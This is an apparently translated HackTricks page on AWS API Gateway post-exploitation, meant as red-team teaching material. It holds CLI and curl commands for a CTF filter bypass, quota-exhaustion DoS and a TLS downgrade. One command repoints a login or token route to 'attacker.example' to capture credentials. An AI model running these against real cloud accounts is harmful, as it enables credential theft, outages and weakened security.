AWS - API Gateway Post Exploitation

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

API Gateway

Για περισσότερες πληροφορίες δείτε:

AWS - API Gateway Enum

Πρόσβαση σε μη εκτεθειμένα APIs

You can create an endpoint in https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint with the service com.amazonaws.us-east-1.execute-api, expose the endpoint in a network where you have access (potentially via an EC2 machine) and assign a security group allowing all connections.
Then, from the EC2 machine you will be able to access the endpoint and therefore call the gateway API that wasn’t exposed before.

Bypass Request body passthrough

Αυτή η τεχνική βρέθηκε στο this CTF writeup.

Όπως αναφέρεται στην AWS documentation στην ενότητα PassthroughBehavior, εξ ορισμού η τιμή WHEN_NO_MATCH, όταν ελέγχει την κεφαλίδα Content-Type του αιτήματος, θα προωθεί το αίτημα στο back end χωρίς μετασχηματισμό.

Επομένως, στο CTF το API Gateway είχε ένα integration template που εμπόδιζε την εξαγωγή του flag σε μία απάντηση όταν εστάλη αίτημα με Content-Type: application/json:

RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'

Ωστόσο, η αποστολή ενός request με Content-type: text/json θα παρακάμψει αυτό το φίλτρο.

Τέλος, καθώς το API Gateway επέτρεπε μόνο Get και Options, ήταν δυνατό να σταλεί ένα αυθαίρετο dynamoDB query χωρίς κανέναν περιορισμό, στέλνοντας ένα POST request με το query στο σώμα και χρησιμοποιώντας το header X-HTTP-Method-Override: GET:

curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json'  --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'

Usage Plans DoS

Στην ενότητα Enumeration μπορείτε να δείτε πώς να αποκτήσετε το usage plan των keys. Αν έχετε το key και είναι περιορισμένο σε X χρήσεις το μήνα, μπορείτε απλά να το χρησιμοποιήσετε και να προκαλέσετε DoS.

Η API Key χρειάζεται απλά να συμπεριληφθεί μέσα σε ένα HTTP header με όνομα x-api-key.

Swap Route Integration To Exfil Traffic (HTTP APIs / apigatewayv2)

Αν μπορείτε να ενημερώσετε μια HTTP API integration, μπορείτε να repoint μια ευαίσθητη route (π.χ. /login, /token, /submit) σε ένα HTTP endpoint που ελέγχεται από τον επιτιθέμενο και σιωπηρά να συλλέξετε headers και bodies (cookies, Authorization bearer tokens, session ids, API keys, secrets που αποστέλλονται από εσωτερικές διεργασίες, κ.λπ.).

REGION="us-east-1"
API_ID="<http_api_id>"

# Find routes and the integration attached to the interesting route
aws apigatewayv2 get-routes --region "$REGION" --api-id "$API_ID"
ROUTE_ID="<route_id>"
INTEGRATION_ID="$(aws apigatewayv2 get-route --region "$REGION" --api-id "$API_ID" --route-id "$ROUTE_ID" --query 'Target' --output text | awk -F'/' '{print $2}')"

# Repoint the integration to your collector (HTTP_PROXY / URL integration)
COLLECTOR_URL="https://attacker.example/collect"
aws apigatewayv2 update-integration --region "$REGION" --api-id "$API_ID" --integration-id "$INTEGRATION_ID" --integration-uri "$COLLECTOR_URL"

Σημειώσεις:

  • Για τις HTTP APIs, οι αλλαγές συνήθως ισχύουν άμεσα (σε αντίθεση με τις REST APIs όπου συνήθως χρειάζεται να δημιουργήσετε ένα deployment).
  • Το αν μπορείτε να δείξετε σε έναν αυθαίρετο URL εξαρτάται από το integration type/config· σε ορισμένες περιπτώσεις ίσως επίσης να μπορείτε να αλλάξετε το integration type όταν το patchάρετε.

apigateway:UpdateGatewayResponse, apigateway:CreateDeployment

Ένας επιτιθέμενος με τα δικαιώματα apigateway:UpdateGatewayResponse και apigateway:CreateDeployment μπορεί να τροποποιήσει ένα υπάρχον Gateway Response ώστε να περιλαμβάνει custom headers ή response templates που leak ευαίσθητες πληροφορίες ή εκτελούν κακόβουλα scripts.

API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"

# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Πιθανός Αντίκτυπος: Διαρροή ευαίσθητων πληροφοριών, εκτέλεση κακόβουλων scripts, ή μη εξουσιοδοτημένη πρόσβαση σε πόρους API.

Note

Απαιτείται δοκιμή

apigateway:UpdateStage, apigateway:CreateDeployment

Ένας επιτιθέμενος με τα δικαιώματα apigateway:UpdateStage και apigateway:CreateDeployment μπορεί να τροποποιήσει ένα υπάρχον stage του API Gateway για να ανακατευθύνει την κυκλοφορία σε διαφορετικό stage ή να αλλάξει τις ρυθμίσεις caching ώστε να αποκτήσει μη εξουσιοδοτημένη πρόσβαση σε cached δεδομένα.

API_ID="your-api-id"
STAGE_NAME="Prod"

# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Πιθανός Αντίκτυπος: Μη εξουσιοδοτημένη πρόσβαση σε προσωρινά αποθηκευμένα δεδομένα, διατάραξη ή υποκλοπή της κίνησης API.

Note

Χρειάζεται δοκιμή

apigateway:PutMethodResponse, apigateway:CreateDeployment

Ένας επιτιθέμενος με τα δικαιώματα apigateway:PutMethodResponse και apigateway:CreateDeployment μπορεί να τροποποιήσει το method response μιας υπάρχουσας API Gateway REST API μεθόδου ώστε να συμπεριλάβει προσαρμοσμένες κεφαλίδες ή response templates που leak ευαίσθητες πληροφορίες ή εκτελούν κακόβουλα scripts.

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"

# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Πιθανός Αντίκτυπος: Leakage ευαίσθητων πληροφοριών, εκτέλεση κακόβουλων scripts ή μη εξουσιοδοτημένη πρόσβαση σε API resources.

Note

Απαιτείται δοκιμή

apigateway:UpdateRestApi, apigateway:CreateDeployment

Ένας επιτιθέμενος με τα δικαιώματα apigateway:UpdateRestApi και apigateway:CreateDeployment μπορεί να τροποποιήσει τις ρυθμίσεις του API Gateway REST API για να απενεργοποιήσει την καταγραφή ή να αλλάξει την ελάχιστη έκδοση TLS, ενδεχομένως εξασθενίζοντας την ασφάλεια του API.

API_ID="your-api-id"

# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Πιθανός Αντίκτυπος: Εξασθένηση της ασφάλειας του API, ενδεχομένως επιτρέποντας μη εξουσιοδοτημένη πρόσβαση ή εκθέτοντας ευαίσθητες πληροφορίες.

Note

Χρειάζεται δοκιμή

apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey

Ένας επιτιθέμενος με τα δικαιώματα apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, και apigateway:CreateUsagePlanKey μπορεί να δημιουργήσει νέα API keys, να τα συσχετίσει με usage plans, και στη συνέχεια να χρησιμοποιήσει αυτά τα keys για μη εξουσιοδοτημένη πρόσβαση σε APIs.

# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')

# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')

# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY

Potential Impact: Μη εξουσιοδοτημένη πρόσβαση σε πόρους API, παρακάμπτοντας ελέγχους ασφαλείας.

Note

Απαιτείται δοκιμή

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks